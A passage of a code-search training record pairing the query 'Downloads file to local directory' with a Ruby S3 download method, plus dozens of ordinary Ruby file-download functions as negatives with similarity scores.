"0.55357814",
"0.5534742",
"0.55243415",
"0.55091715",
"0.55089074",
"0.5498185",
"0.5494236",
"0.5493104",
"0.54841316",
"0.54841316",
"0.5478598",
"0.54507905",
"0.5441644",
"0.5438192",
"0.54354453",
"0.5433825",
"0.5431937",
"0.5428038",
"0.542586",
"0.54245144",
"0.542238",
"0.54216504",
"0.5421417",
"0.54181814",
"0.5413592",
"0.541254",
"0.541254",
"0.541254",
"0.54091865",
"0.5408689",
"0.5403568",
"0.54030305"
] |
0.0
|
-1
|
Downloads file to local directory
|
def download_s3_file
run_callbacks :download_s3_file do
@s3_local_object = download(@directory, @key)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def download_file\n info(\"Downloading file \" + @filename + \" started.\")\n \n open(local_file, 'wb') do |file|\n file << open(remote_file).read\n end\n\n info(\"Downloading file \" + @filename + \" completed successfully.\")\n rescue StandardError => e\n error(\"Unable to download file #{@filename} due to following error occurred #{e}\")\n end",
"def download(file, todir = '.')\r\n begin\r\n puts \"Downloading file #{file} from #{@address}\"\r\n c = open(\"http://#{@address}/#{file}\").read\r\n Dir.mkdir(todir) if not File.directory?(todir)\r\n f = open(\"#{todir}/#{file}\", 'wb')\r\n f.puts c\r\n f.close\r\n rescue => e\r\n if not File.exists?(fullfile)\r\n $stderr.puts \"Could not download file #{file} form #{@address}.\"\r\n $stderr.puts e.to_s\r\n end\r\n end\r\nend",
"def download\n open(download_url, \"rb\")\n end",
"def download_file(url)\n\t\t\tf = Tempfile.new(File.basename(url))\n\t\t\tpath = f.path\n\t\t\turl = URI.parse(url)\n\t\t\tNet::HTTP.start( url.host) { |http|\n\t\t\t\tresp = http.get(url.path)\n\t\t\t\tf.write(resp.body)\n\t\t\t}\n\t\t\tf.close\n\t\t\treturn path\n\t\tend",
"def download(file_name)\n remote_file_path = File.join(remote_path, file_name)\n local_file_path = File.join(backup_folder, file_name)\n\n file_from_storage = remote_directory.files.get(remote_file_path)\n\n prepare_local_folder(local_file_path)\n create_local_file(local_file_path, file_from_storage)\n\n local_file_path\n end",
"def download\n\t\tsend_file(params[:path])\n end",
"def download(url)\n base.get(url, @file_path)\n end",
"def download\n send_file @cfile.path.to_s\n end",
"def download!(source_url, destination_file); end",
"def download_file(url, dest)\n if File.exist?(dest)\n say \"File already downloaded #{dest}\"\n return dest\n end\n\n say \"Downloading...\"\n FileUtils.mkdir_p(File.dirname(dest)) # ensure parent folder exists\n\n File.open(dest, 'wb') do |saved_file|\n URI.open(url, 'rb') do |read_file|\n saved_file.write(read_file.read)\n end\n end\n dest\n end",
"def download_package\n path = download_path\n remote_file path do\n source URL\n action :create\n only_if { !::File.exist?(PATH) }\n end\n end",
"def download_file(uri, dest_dir)\n begin\n u = URI.parse(uri)\n fname, ext = File.basename(u.path).scan(/(.+)\\.(.+)/).flatten\n dest_file = File.join(dest_dir, \"#{fname}_#{Time.now.to_i}.#{ext}\")\n res = send_http_get_request(uri)\n rescue Net::ReadTimeout, IOError, EOFError, Errno::ECONNRESET,\n Errno::ECONNABORTED, Errno::EPIPE, Net::OpenTimeout,\n Errno::ETIMEDOUT => e\n print_error(\"#{e.message}: #{uri}\")\n return\n end\n\n save_file(res.body, dest_file)\n print_status(\"Download completed for #{uri}\")\n end",
"def download\n record_activity(\"downloaded \" + params[:file_name])\n send_file Rails.root.join('public', 'uploads', params[:file_name])\n end",
"def download(path)\n RestClient::Request.execute(:method => :get, :url => (@host + '/api/v1/files' + escape(path)), :user => @user, :password => @password, :raw_response => true, :headers => {:accept_encoding => ''}).file\n end",
"def download\n # noinspection RubyCaseWithoutElseBlockInspection\n case type\n when 'direct'\n dir = File.dirname(path)\n FileUtils.mkdir_p(dir)\n Attachment.download_from_url(source, dir)\n when 'git'\n FileUtils.mkdir_p(File.dirname(path))\n ::Open3.capture3('git submodule update --init --recursive')\n end\n end",
"def download(path)\n if File.exists?(path)\n puts \"#{path} already exists\"\n\n return\n end\n\n File.open(path, \"w\") do |file|\n file.binmode\n HTTParty.get(self['href'], stream_body: true) do |fragment|\n file.write(fragment)\n end\n end\n end",
"def download_file(remote_file_name)\n FileUtils.mkdir_p(local_download_folder)\n local_filename = File.join(local_download_folder, File.basename(remote_file_name))\n local_file = File.open(local_filename, 'w')\n with_sftp_session do |sftp_session|\n sftp_session.download!(remote_file_name, local_file.path)\n check_freshness!(sftp_session, remote_file_name)\n end\n local_file\n end",
"def download!(url, path)\n raise CommandFailed unless download(url, path)\n end",
"def download\n path.dirname.mkpath\n\n case io = open(url)\n when StringIO\n begin\n exact_path.open('w', 0o755) { |fd| fd.write(io) }\n rescue StandardError\n exact_path.unlink if exact_path.exist?\n raise\n end\n when Tempfile\n io.close\n iopath = Pathname.new(io.path)\n iopath.chmod(0o755)\n iopath.rename exact_path\n end\n\n path.delete if path.symlink?\n path.make_symlink exact_path\n end",
"def download_file url\n check_session\n result = api_client.execute(:uri => url)\n if result.status == 200\n return result.body\n else\n puts \"An error occurred: #{result.data['error']['message']}\"\n return nil\n end\n end",
"def download(url, filename)\n require 'open-uri'\n if File.exists?(\"lib/\" + filename)\n puts \"'#{filename}' is already downloaded... skipped\"\n else\n puts \"'#{filename}' downloading...\"\n File.open(\"lib/\" + filename, \"wb\") do |saved_file|\n open(url + filename, \"rb\") { |read_file| saved_file.write(read_file.read) }\n end\n end\nend",
"def download_file(agent, url)\n SouvlakiRS.logger.info \" starting download for #{url}\"\n\n data = agent.get(url)\n unless data\n SouvlakiRS.logger.error ' download failed'\n return nil\n end\n\n filename = get_response_filename(data) || filename_from_url(url)\n [data, filename]\n end",
"def download(path)\n downloader.get do |req|\n req.url path\n end.body\n end",
"def download(path)\n uri = URI.parse(context.browser_url + path)\n puts \"downloading #{uri.to_s}\"\n Net::HTTP.get(uri)\n end",
"def download(remotefile)\n info(\"get #{remotefile}\")\n\n path = File.join(root_path, pwd, remotefile)\n\n if !Turbotlib.in_production? && File.exist?(path)\n File.open(path)\n else\n FileUtils.mkdir_p(File.dirname(path))\n File.open(path, 'w') do |f|\n getbinaryfile(remotefile, f.path)\n end\n File.open(path)\n end\n end",
"def download(url, file)\n # First, open the remote file. (FD == 'File Descriptor', a C term)\n #\n # If we first open the remote file, if there are any exceptions in\n # attempting to open it, we won't lose the contents of the local file.\n open(url) do |remoteFD|\n # Open the local file, purging the contents.\n File.open(file, \"w\") do |genericFD|\n remoteFD.each_line do |line|\n # Take each line, stick it in the file.\n genericFD.puts line\n end\n end\n end\n @repo.add(file) # add the file to the list to be committed\nend",
"def download_original ; path_download_file(:original).download end",
"def download(path)\n uri = URI.parse(configuration.browser_url + path)\n puts \"downloading #{uri.to_s}\"\n Net::HTTP.get(uri)\n end",
"def download(from, to: File.basename(from), **options)\n log \"downloading file from #{from} to #{to}...\"\n remote = remote_path(from)\n local = (Pathname.pwd + to).to_s\n @sftp.download!(remote, local, options)\n end",
"def download_to_file(url, path)\n result = false\n\n uri = URI(url)\n if uri.scheme == 'file'\n result = FileUtils.mv uri.path, path\n Rails.logger.info \"Moved to #{path}\" if result == 0\n else\n result = download_url_to_file uri, path\n end\n result\n end",
"def get_file(path, options={})\n remove_file path\n resource = File.join(prefs[:remote_host], prefs[:remote_branch], 'files', path)\n replace_file path, download_resource(resource, options)\nend",
"def download path\n dl = @current_prompt_action[:data]\n return unless (path and dl)\n \n dl.set_destination_uri(\"file://#{path}\")\n dl.start()\n end",
"def download(local_drive_path)\n raise IncompleteResource, \"Missing required attribute 'downloadURI'\" unless @data['downloadURI']\n client.download_file(@data['downloadURI'], local_drive_path)\n end",
"def download_file(file)\n BasicSocket.do_not_reverse_lookup = true\n ftp = Net::FTP.new('server', 'user', 'password')\n ftp.passive = true\n\n begin\n logger.info \"info: Downloading #{file}.\"\n ftp.getbinaryfile(File.basename(file), file, 1024)\n rescue Net::FTPPermError => e\n logger.info \"warning: can't download #{File.basenme(file)} from the remote server (#{e.message.tr(\"\\n\",\"\")}).\"\n end\n\n ftp.close\n\n end",
"def download_file(file)\r\n #name_file = \"20141010MGPPrezzi.xml\"\r\n name_file = parse_name_file file\r\n path_xml = crea_dir_per_xml\r\n full_path = path_xml+name_file\r\n\r\n #entro dentro la directory nel server ftp\r\n @ftp.chdir(\"/MercatiElettrici/#{file}\")\r\n\r\n #scarico nella directory corrente il file\r\n begin\r\n ftp.getbinaryfile(name_file, full_path)\r\n puts \"Download #{name_file}\"\r\n return full_path\r\n rescue\r\n return false\r\n end\r\n end",
"def download_file(remote_file, local_file)\n begin\n @log.info(\"Download file #{remote_file} to #{local_file}\")\n @ssh_connect.download!(remote_file,local_file)\n rescue Exception => error\n @log.error(\"#{error}\")\n exit\n end\n end",
"def save_file(url, file)\n puts \"Downloading http://...#{url[-8..-1]} -> #{file}\"\n File.open(file, \"wb\") do |saved_file|\n # the following \"open\" is provided by open-uri\n open(url) do |read_file|\n saved_file.write(read_file.read)\n end\n end\nend",
"def download_file\n tmp_file = Tempfile.new '', SimplyRets.configuration.temp_folder_path\n content_disposition = raw.headers['Content-Disposition']\n if content_disposition\n filename = content_disposition[/filename=['\"]?([^'\"\\s]+)['\"]?/, 1]\n path = File.join File.dirname(tmp_file), filename\n else\n path = tmp_file.path\n end\n # close and delete temp file\n tmp_file.close!\n\n File.open(path, 'w') { |file| file.write(raw.body) }\n SimplyRets.logger.info \"File written to #{path}. Please move the file to a proper folder for further processing and delete the temp afterwards\"\n return File.new(path)\n end",
"def download_file(url, destination)\n raw_file = server_api.get_rest(url, true)\n\n Chef::Log.info(\"Storing updated #{destination} in the cache.\")\n cache.move_to(raw_file.path, destination)\n end",
"def download\n return file if file\n\n self.file = retrieve_file\n end",
"def download(url, cache_dir, filename)\n run_script \"curl -L --create-dirs -o #{cache_dir[:guest_path]}/#{filename} #{url}\" unless File.exist?(\"#{cache_dir[:host_path]}/#{filename}\")\n end",
"def download(from, to: File.basename(from), block_size: Net::FTP::DEFAULT_BLOCKSIZE)\n log \"downloading file from #{from} to #{to}...\"\n @ftp.get(from, to, block_size)\n end",
"def download_file local_path,remote_path\n dl =nil\n safe_fetch do\n @ssh.sftp.connect do |sftp|\n dl = sftp.download(remote_path, local_path)\n \n end\n end\n dl\n end",
"def download!(file)\n login\n warn \"DEBUG: downloading #{file}\" if debug\n if dry_run\n warn \"DEBUG: download skipped for dry run\" if dry_run\n filename = file\n body = \"no body\"\n else\n page = agent.get(file)\n filename = page.filename\n body = page.body\n end\n [ filename, body ]\n end",
"def download(url, filename)\n uri = URI.parse(url)\n f = open(filename,'wb')\n begin\n http = Net::HTTP.start(uri.host) {|http|\n http.request_get(uri.path) {|resp|\n resp.read_body {|segment|\n f.write(segment)\n }\n }\n }\n ensure\n f.close()\n end\nend",
"def download(uri)\n target = File.join(@cache_dir, filename(uri))\n @logger.debug \"Downloading file to #{target}\"\n rich_uri = URI(uri)\n Net::HTTP.start(rich_uri.host, rich_uri.port, use_ssl: rich_uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new(rich_uri.request_uri)\n http.request request do |response|\n File.open(target, File::CREAT | File::WRONLY) do |file|\n response.read_body do |chunk|\n file.write(chunk)\n end\n end\n end\n end\n rescue => e\n @logger.error \"Unable to download from #{uri}\"\n puts e.backtrace\n end",
"def download_from_file(filename)\n\t\t\tif !File.exist? filename\n\t\t\t\tputs \"Error: #{filename} not found\" \n\t\t\t\texit 1\n\t\t\tend\n\t\t\tfilename = File.realpath(filename)\n\t\t\tt = Torrent.new(@config[:grabber])\n\t\t\tFile.readlines(filename).each { |show| download(get_link(t, show)) }\n\t\tend",
"def call\n @response = connection.get(url)\n if status == 200\n context.file = save!\n else\n context.fail! message: \"Download failed\"\n end\n end",
"def download_file(url, show_progress = false)\n if show_progress\n pbar = nil\n begin\n require 'progressbar'\n rescue LoadError => e\n Fog::Logger.warning \"progressbar rubygem not found. Install it for fancier progress.\"\n pbar = :noop\n end\n open(\n url,\n :content_length_proc => lambda { |total|\n if pbar != :noop\n if total && 0 < total\n pbar = ProgressBar.new(\"Downloading\", total)\n pbar.file_transfer_mode\n end\n end\n },\n :progress_proc => lambda { |read_size|\n if pbar != :noop\n pbar.set read_size if pbar\n else\n print \"\\rDownloading... #{\"%.2f\" % (read_size/1024.0**2)} MB\"\n end\n }\n )\n else\n open(url)\n end\n end",
"def download_to_server full_url, path, ext\n require 'open-uri'\n\n user_directory = IMAGE_DIRECTORY + \"/#{session[:access_token].params['edam_userId']}\"\n unless File.directory? IMAGE_DIRECTORY\n Dir::mkdir( IMAGE_DIRECTORY ) # 第二パラメータ省略時のパーミッションは0777\n end\n\n unless File.directory? user_directory\n Dir::mkdir( user_directory ) # 第二パラメータ省略時のパーミッションは0777\n end\n\n file_name = user_directory + \"/\" + path + '.' + ext\n\n # TODO is this instance variable visible from the controller which include this module?\n @selected_file << file_name\n unless File.exists?(file_name)\n File.open(file_name, 'wb') do |output|\n # Download image\n # TODO: handle if session access token is nil\n open(full_url + \"?auth=#{session[:access_token].token}\") do |input|\n output << input.read\n end\n end\n end\n end",
"def download(url, filename)\n uri = URI.parse(url)\n f = open(filename,'wb')\n begin\n http = Net::HTTP.start(uri.host) {|http|\n http.request_get(uri.request_uri) {|resp|\n resp.read_body {|segment|\n f.write(segment)\n }\n }\n }\n ensure\n f.close()\n end\nend",
"def download_file!\n retries = 3\n\n begin\n options = {\n :read_timeout => 300,\n }\n\n open(from_url, options) do |f|\n save_to_cache(f)\n end\n rescue SocketError,\n Errno::ECONNREFUSED,\n Errno::ECONNRESET,\n Errno::ENETUNREACH,\n Timeout::Error,\n OpenURI::HTTPError => e\n if retries != 0\n retries -= 1\n retry\n else\n raise Exceptions::NetworkError.new(from_url, e)\n end\n end\n end",
"def download( url )\n image = open( \"#{url}.jpg\" ).read\n File.write @path, image\n end",
"def download_file()\n # gets the student we are watching\n @student = Student.find(params[:id]);\n # Here we wanna decrypt the file\n decr_file = decrypt_file(@student)\n # we make the file downloadable\n send_file(decr_file,\n :filename => @student.file,\n :type => @student.file.content_type,\n :disposition => 'attachment',\n :url_based_filename => true)\n end",
"def download_file(test = false)\n @update_file = Tempfile.new(['elasticsearch_update_file', @download.extension])\n\n @log.info('Downloading file from url.')\n\n write_file_from_url(@update_file, @download.url) unless test\n\n @update_file\n end",
"def download_and_save_file(url, path)\n options = {}\n\n proxy = ENV['http_proxy'] || ENV['HTTP_PROXY']\n if proxy\n uri = URI.parse(proxy)\n proxy_host = uri.scheme + \"://\" + uri.host + \":\" + uri.port.to_s\n proxy_user, proxy_pass = uri.userinfo.split(/:/) if uri.userinfo\n options[:proxy_http_basic_authentication] = [proxy_host,proxy_user,proxy_pass]\n end\n\n open_and_save_file(path, open(url, options).read)\nend",
"def download(path, item)\n Download.download item.link, path\n Logger.instance.info \"Downloaded file #{item.title}\"\n @history.save item.title\n end",
"def b2_download_file_by_name(file, *folder)\n\n if folder[0] != nil\n file_url = b2_generate_file_url(file, folder[0])\n else\n file_url = b2_generate_file_url(file)\n end\n\n uri = URI(file_url)\n req = Net::HTTP::Get.new(uri)\n http = Net::HTTP.new(req.uri.host, req.uri.port)\n http.use_ssl = true\n res = http.start {|http| http.request(req)}\n\n case res\n when Net::HTTPSuccess then\n res.body\n swapfile = File.new(\"./public/swap/#{file}\", 'wb')\n swapfile.puts(res.body)\n swapfile.close\n when Net::HTTPRedirection then\n fetch(res['location'], limit - 1)\n else\n res.error!\n end\n\nend",
"def download(\n file_path\n )\n @call_params[:file_path] = file_path\n @client.call(self.class, __callee__.to_s, @call_params)\n end",
"def download_file(url, dest_dir)\n @log.info(\"== Ensuring file is cached: #{url} to #{dest_dir}\")\n require 'down'\n filename = File.basename(url)\n downloaded_file = File.join(dest_dir,filename)\n remote_file = Down.open(url)\n unless File.exist?(downloaded_file) && File.size(downloaded_file) == remote_file.size\n @log.verbose(\"Downloading #{url} to #{downloaded_file}\")\n Down.download(url, destination: downloaded_file)\n else\n @log.verbose(\"Skipping download, already in cache: #{downloaded_file}\")\n end\n remote_file.close\n downloaded_file\n end",
"def download(path, item)\n Download.download item.link, path\n Logger.instance.info \"Downloaded file #{item.title}\"\n @history.save item\n end",
"def download(uri, target)\n @logger.debug \"Downloading file to #{target}\"\n rich_uri = URI(uri)\n if File.exist?(uri)\n FileUtils.cp uri, target\n else\n proxy(rich_uri).start(rich_uri.host, rich_uri.port, use_ssl: secure?(rich_uri)) do |http|\n request = Net::HTTP::Get.new(rich_uri.request_uri)\n http.request request do |response|\n File.open(target, File::CREAT | File::WRONLY) do |file|\n response.read_body do |chunk|\n file.write(chunk)\n end\n end\n end\n end\n end\n rescue => e\n @logger.error \"Unable to download from #{uri}\"\n puts e.backtrace\n end",
"def download_file(source, filename)\n response = HTTParty.get(\"#{@host}/download_file\", query: {\n source_file: \"#{source}:#{filename}\",\n api_key: @api_key\n })\n \n return response.body\n end",
"def download\n log.warn(log_key) { source[:warning] } if source.key?(:warning)\n\n options = {}\n\n if source[:unsafe]\n log.warn(log_key) { \"Permitting unsafe redirects!\" }\n options[:allow_unsafe_redirects] = true\n end\n\n # Set the cookie if one was given\n options[\"Cookie\"] = source[:cookie] if source[:cookie]\n options[\"Authorization\"] = source[:authorization] if source[:authorization]\n\n download_file!(download_url, downloaded_file, options)\n end",
"def download_file(file_type)\n temp_file = File.new(public_url.split('/').last, \"wb\")\n remote_data = open(URI.parse(public_url))\n temp_file.write(remote_data.read)\n update_attributes(file_type => temp_file)\n File.delete temp_file\n end",
"def download_path\n ::File.join(Chef::Config[:file_cache_path], ::File.basename(URL))\n end",
"def download_file(link, basename)\n link.click\n sleep(3)\n if @driver.current_url.include?('https://storage.googleapis.com/')\n assert @driver.current_url =~ /#{basename}/, \"Downloaded file url incorrect, did not find #{basename}\"\n @driver.navigate.back\n else\n # give browser 5 seconds to initiate download\n sleep(5)\n # make sure file was actually downloaded\n file_exists = Dir.entries($download_dir).select {|f| f =~ /#{basename}/}.size >= 1 || File.exist?(File.join($download_dir, basename))\n assert file_exists, \"did not find downloaded file: #{basename} in #{Dir.entries($download_dir).join(', ')}\"\n\n # delete matching files\n Dir.glob(\"#{$download_dir}/*\").select {|f| /#{basename}/.match(f)}.map {|f| File.delete(f)}\n end\n end",
"def download(save_path=\"\")\n url = prefix + \"download\"\n r = response(url) \n if r.class == String #success\n open(File.join(save_path,@filename), \"wb\").write(open(r).read)\n return r\n else #failed\n return r\n end\n end",
"def download_file(url, destination)\n raw_file = server_api.streaming_request(url)\n\n Chef::Log.info(\"Storing updated #{destination} in the cache.\")\n cache.move_to(raw_file.path, destination)\n end",
"def http_get(uri, download_path)\n\n # We'll save to a tempfile in case something goes wrong in the download\n # process. This avoids accidentally overwriting an old version, or\n # leaving a partially downloaded file in place\n begin\n tempfile = Tempfile.new('remote_file')\n tempfile.binmode\n response = http(uri) do |resp|\n resp.read_body do |chunk|\n tempfile.write(chunk)\n end\n end\n\n # If download was successful, copy the tempfile over to the resource path.\n if response.kind_of?(Net::HTTPSuccess)\n tempfile.flush\n\n # Try to move the file from the temp location to the final destination.\n # If the move operation fails due to permission denied, try a copy\n # before giving up. On some platforms (Windows) file locking or weird\n # permissions may cause the mv operation to fail but will still allow\n # the copy operation to succeed.\n begin\n FileUtils.mv(tempfile.path, download_path)\n rescue Errno::EACCES\n FileUtils.cp(tempfile.path, download_path)\n end\n\n # If the fileserver supports the last-modified header, make sure the\n # file saved has a matching timestamp. This may be used later to do a\n # very rough ensure=latest kind of check.\n if response.header['last-modified']\n time = Time.parse(response.header['last-modified'])\n File.utime(time, time, download_path)\n end\n end\n ensure\n tempfile.close\n tempfile.unlink\n response\n end\n end",
"def download_artifact(path)\n download_file = \"#{name}.#{Time.new.to_i}\"\n begin\n URI.download path, download_file\n if File.exist?(download_file)\n FileUtils.mkdir_p(File.dirname(name))\n FileUtils.mv(download_file, name)\n end\n ensure\n File.delete(download_file) if File.exist?(download_file)\n end\n end",
"def url(path)\n uri, details = @api.cmd_to_url(:file_download, path: remote_file(path))\n @api.full_uri(uri, details[:params])\n end",
"def download_url(url, output_filename, dir_name = \"media/tmp\")\n command = \"wget --quiet '#{url}' -O '#{dir_name}/#{output_filename}'\"\n system(command)\n end",
"def download_file!(download_url = image_url)\n raise DownloadError, \"Download failed: couldn't find download url for #{url}\" if download_url.blank?\n response, file = http_downloader.download_media(download_url)\n raise DownloadError, \"Download failed: #{download_url} returned error #{response.status}\" if response.status != 200\n file\n end",
"def dir_download(*paths); net_scp_transfer!(:download, true, *paths); end",
"def download_file(link)\n link = fix_html_link(link)if link.include?(\".html\")\n path = link.split(\"/\").last\n\n # Download file\n if !File.exist?(\"../docs/\"+path)\n `wget --no-check-certificate -P ../docs #{link.gsub(\"https\", \"http\")}`\n end\n return path\n end",
"def http_download(host, dir, file, ofile, file_log)\n\t\t\tinfo \"* host: \" + host\n\t\t\tinfo \"* dir: \" + dir\n\t\t\tinfo \"* file: \" + file\n\t\t\tinfo \"* ofile: \" + ofile\n\t\t\t\n\t\t\thttp = Net::HTTP.start(host)\n\t\t\treq = Net::HTTP::Get.new(\"/\" + dir + \"/\" + file)\n\t\t\ttransferred = 0\n\t\t\thttp.request(req) do |resp|\n\t\t\t\tfilesize = resp.content_length\n\t\t\t\t\n\t\t\t\tif _check_download_size(ofile, filesize)\n\t\t\t\t\tpb = ProgressBar.new(file, 100)\n\t\t\t\t\tf = File.open(ofile, 'w')\n\t\t\t\t\tresp.read_body do |data|\n\t\t\t\t\t\tif data\n\t\t\t\t\t\t\ttransferred += data.size\n\t\t\t\t\t\t\tif(transferred != 0)\n\t\t\t\t\t\t\t\tpercent_finished = 100 * (transferred.to_f / filesize.to_f)\n\t\t\t\t\t\t\t\tpb.set(percent_finished)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tf.write(data)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\terror \"data returned by server is empty!\"\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tf.close\n\t\t\t\t\tpb.finish\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def download_to_file(path, params = {})\n open(path, \"wb\") do |f|\n download_to_io(f, params)\n end\n end",
"def file_download(*paths); net_scp_transfer!(:download, false, *paths); end",
"def download(id)\n Down.copy_to_tempfile(id, open(id))\n end",
"def download_file_to_filename(filename, url)\n puts \"Downloading #{url}...\"\n uri = URI(url)\n\n Net::HTTP.start(\n uri.host,\n uri.port,\n use_ssl: uri.scheme == 'https'\n ) do |http|\n request = Net::HTTP::Get.new uri.request_uri\n\n http.request request do |response|\n if response.is_a?(Net::HTTPRedirection) || response.is_a?(Net::HTTPFound)\n return download_file_to_filename(filename, response['location'])\n end\n\n open filename, 'wb' do |io|\n response.read_body do |chunk|\n io.write(chunk)\n end\n end\n end\n end\nend",
"def download(download_dir)\n @downloaded_file = File.join(download_dir,\"meddra_adverse_effects.tsv.gz\")\n \n @log.info \"Downloading from SIDER to #{@downloaded_file}\" if @log\n system(\"curl -o #{@downloaded_file} -i ftp://sideeffects.embl.de/SIDER/latest/meddra_adverse_effects.tsv.gz\")\n system(\"gunzip #{@downloaded_file}\")\n \n @file = File.join(download_dir,\"meddra_adverse_effects.tsv\")\n end",
"def download\n \n @tmpfile = fetch_remote(location)\n \n @fetched_at = Time.new\n \n return @tmpfile\n \n end",
"def download_file\n run_callbacks :download_file do\n if attachment.stored_at_s3?\n @s3_file_processor = S3::ProcessFiles.new(attachment)\n s3_file_processor.download_s3_file\n self.local_file = s3_file_processor.file_path\n else\n self.local_file = attachment.path\n end\n end\n end",
"def download(save_path=\"\")\n url = prefix + \"download\"\n r = response(url)\n if r.class == String #success\n open(::File.join(save_path,@filename), \"wb\").write(open(r).read)\n return r\n else #failed\n return r\n end\n end",
"def download_resource(url, path)\n FileUtils.mkdir_p File.dirname(path)\n the_uri = URI.parse(URI.escape(url))\n if the_uri\n data = html_get the_uri\n File.open(path, 'wb') { |f| f.write(data) } if data\n end\n end",
"def download_file_to_tempdir(url)\n tmpdir = Pathname(Dir.mktmpdir(\"razor-repo-#{filesystem_safe_name}-download\"))\n filename = tmpdir + Pathname(url.path).basename\n\n result = url.open\n unless result.is_a?(File)\n # Create Tempfile to converge code flow.\n tmpfile = Tempfile.new filename.to_s\n tmpfile.binmode\n tmpfile << result.read\n result = tmpfile\n end\n begin\n # Try and get our data out to disk safely before we consider the\n # write completed. That way a crash won't leak partial state, given\n # our database does try and be this conservative too.\n begin\n result.flush\n result.respond_to?('fdatasync') ? result.fdatasync : result.fsync\n rescue NotImplementedError\n # This signals that neither fdatasync nor fsync could be used on\n # this IO, which we can politely ignore, because what the heck can\n # we do anyhow?\n end\n FileUtils.mv(result, filename)\n ensure\n result.close\n end\n\n # Downloading was successful, so save our temporary directory for later\n # cleanup, and return the path of the file.\n self.tmpdir = tmpdir\n self.save\n\n return filename.to_s\n\n rescue Exception => e\n # Try our best to remove the directory, but don't let that stop the rest\n # of the recovery process from proceeding. This might leak files on\n # disk, but in that case there is little else that we could do to\n # resolve the situation -- we already tried to delete the file/dir...\n FileUtils.remove_entry_secure(tmpdir, true)\n raise e\n end",
"def download(url)\n filedl = url.split(\"/\").last\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n open(filedl, \"w\") do |file|\n file.write(response.body)\n end\n return filedl\nend",
"def download_link\n download_params = { :sub => 'download', :fileid => @fileid, :filename => @remote_filename, :cookie => @api.cookie }\n DOWNLOAD_URL % [ @server_id, @short_host, download_params.to_query ]\n end",
"def download(remote, local = nil)\n file.open(remote, 'r') do |io|\n if local\n io.download(local)\n else\n io.gets(nil)\n end\n end\n end",
"def download\n redirect \"public/downloads/index.html\"\n end",
"def download(url, path: nil, overwrite: false, sha1_hash: nil)\n if path.nil?\n fname = url.split('/')[-1]\n else\n path = File.expand_path(path)\n if File.directory?(path)\n fname = File.join(path, url.split('/')[-1])\n else\n fname = path\n end\n end\n\n if overwrite || !File.exist?(fname) || (sha1_hash && !check_sha1(fname, sha1_hash))\n dirname = File.dirname(fname)\n FileUtils.mkdir_p(dirname)\n\n puts \"Downloading #{fname} from #{url}...\"\n open(url, 'rb') {|src| ::IO.copy_stream(src, fname) }\n if sha1_hash && !check_sha1(fname, sha1_hash)\n raise \"File #{fname} is downloaded but the content hash does not match. \" +\n \"The repo may be outdated or download may be incomplete. \" +\n \"If the `repo_url` is overridden, consider switching to \" +\n \"the default repo.\"\n end\n end\n\n return fname\n end",
"def write_file_from_url(file, url)\n Net::HTTP.start(@download.base_url) do |http|\n begin\n http.request_get(url) do |resp|\n resp.read_body do |segment|\n file.write(segment)\n end\n end\n ensure\n file.close\n end\n end\n end",
"def file_download\n blob_cache(:file_download) do\n raw_download = tiddlywiki_file.download\n is_compressed? ? SiteCommon.decompress_html(raw_download) : raw_download\n end\n end",
"def download_file\n send_file(@static_page.custom_file.path,\n disposition: 'attachment; filename=\"' + @static_page.custom_file.file.filename + '\"',\n type: @static_page.custom_file.file.content_type,\n url_based_filename: true)\n end",
"def download(name, destination=nil)\n get(name) do |response|\n File.open(destination || File.join(Dir.pwd, File.basename(name)), \"wb\") do |io|\n response.read_body do |chunk|\n io.write(chunk)\n end\n end\n end\n end",
"def download(params, save_as)\n info = self.class.get('/files.info', query: params.merge({token: @token})).tap do |response|\n raise \"error retrieving information for for file #{params[:file]}: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end.fetch('file')\n\n if download = info['url']\n uri = URI(download)\n name = uri.path.split('/').last\n\n if save_as\n if File.directory?(save_as)\n name = \"#{save_as}/#{name}\"\n else\n name = save_as\n end\n end\n\n File.open(name, 'wb') { |f| f.write HTTParty.get(download).parsed_response }\n return name\n else\n raise \"error determining private download URL for file #{params[:file]}\"\n end\n end",
"def download!\n return download if file.nil?\n\n file.close\n file.unlink\n self.file = nil\n download\n end",
"def download from_path, to_path, options={}, &block\n from_path = \"#{@host}:#{from_path}\"\n Sunshine.logger.info @host, \"Downloading #{from_path} -> #{to_path}\" do\n execute rsync_cmd(from_path, to_path, options), &block\n end\n end",
"def download(command)\n if command[1].nil? || command[1].empty?\n puts \"please specify item to get\"\n elsif command[2].nil? || command[2].empty?\n puts \"please specify full local path to dest, i.e. the file to write to\"\n elsif File.exists?(command[2])\n puts \"error: File #{dest} already exists.\"\n else\n src = '/' + clean_up(command[1])\n dst = command[2]\n out, metadata = @client.files.download(src)\n pp metadata\n open(dst, 'w') { |f| f.puts out }\n puts \"wrote file #{ dst }.\"\n end\n end",
"def download!\n\t\traise_if_error C.glyr_opt_download(to_native, true)\n\tend"
] |
[
"0.78321725",
"0.77712536",
"0.7633965",
"0.7514661",
"0.74702036",
"0.7461339",
"0.7458432",
"0.7415958",
"0.73507667",
"0.7324215",
"0.7223812",
"0.7194163",
"0.7183809",
"0.7172112",
"0.71469283",
"0.7141993",
"0.7111587",
"0.710493",
"0.70385844",
"0.7033032",
"0.7031481",
"0.70187086",
"0.7010517",
"0.70076287",
"0.7007083",
"0.7000403",
"0.6999365",
"0.6993509",
"0.69857734",
"0.697313",
"0.69602406",
"0.6943835",
"0.69395447",
"0.69213724",
"0.6911944",
"0.6905956",
"0.689444",
"0.68900156",
"0.68887144",
"0.6883817",
"0.68788517",
"0.6869489",
"0.6864724",
"0.6853183",
"0.6852573",
"0.68241155",
"0.6806498",
"0.6805327",
"0.6801793",
"0.67995256",
"0.6788706",
"0.6787257",
"0.67776155",
"0.6774216",
"0.6769868",
"0.67659754",
"0.6765581",
"0.6739064",
"0.6720009",
"0.6713435",
"0.67003554",
"0.66969484",
"0.6695987",
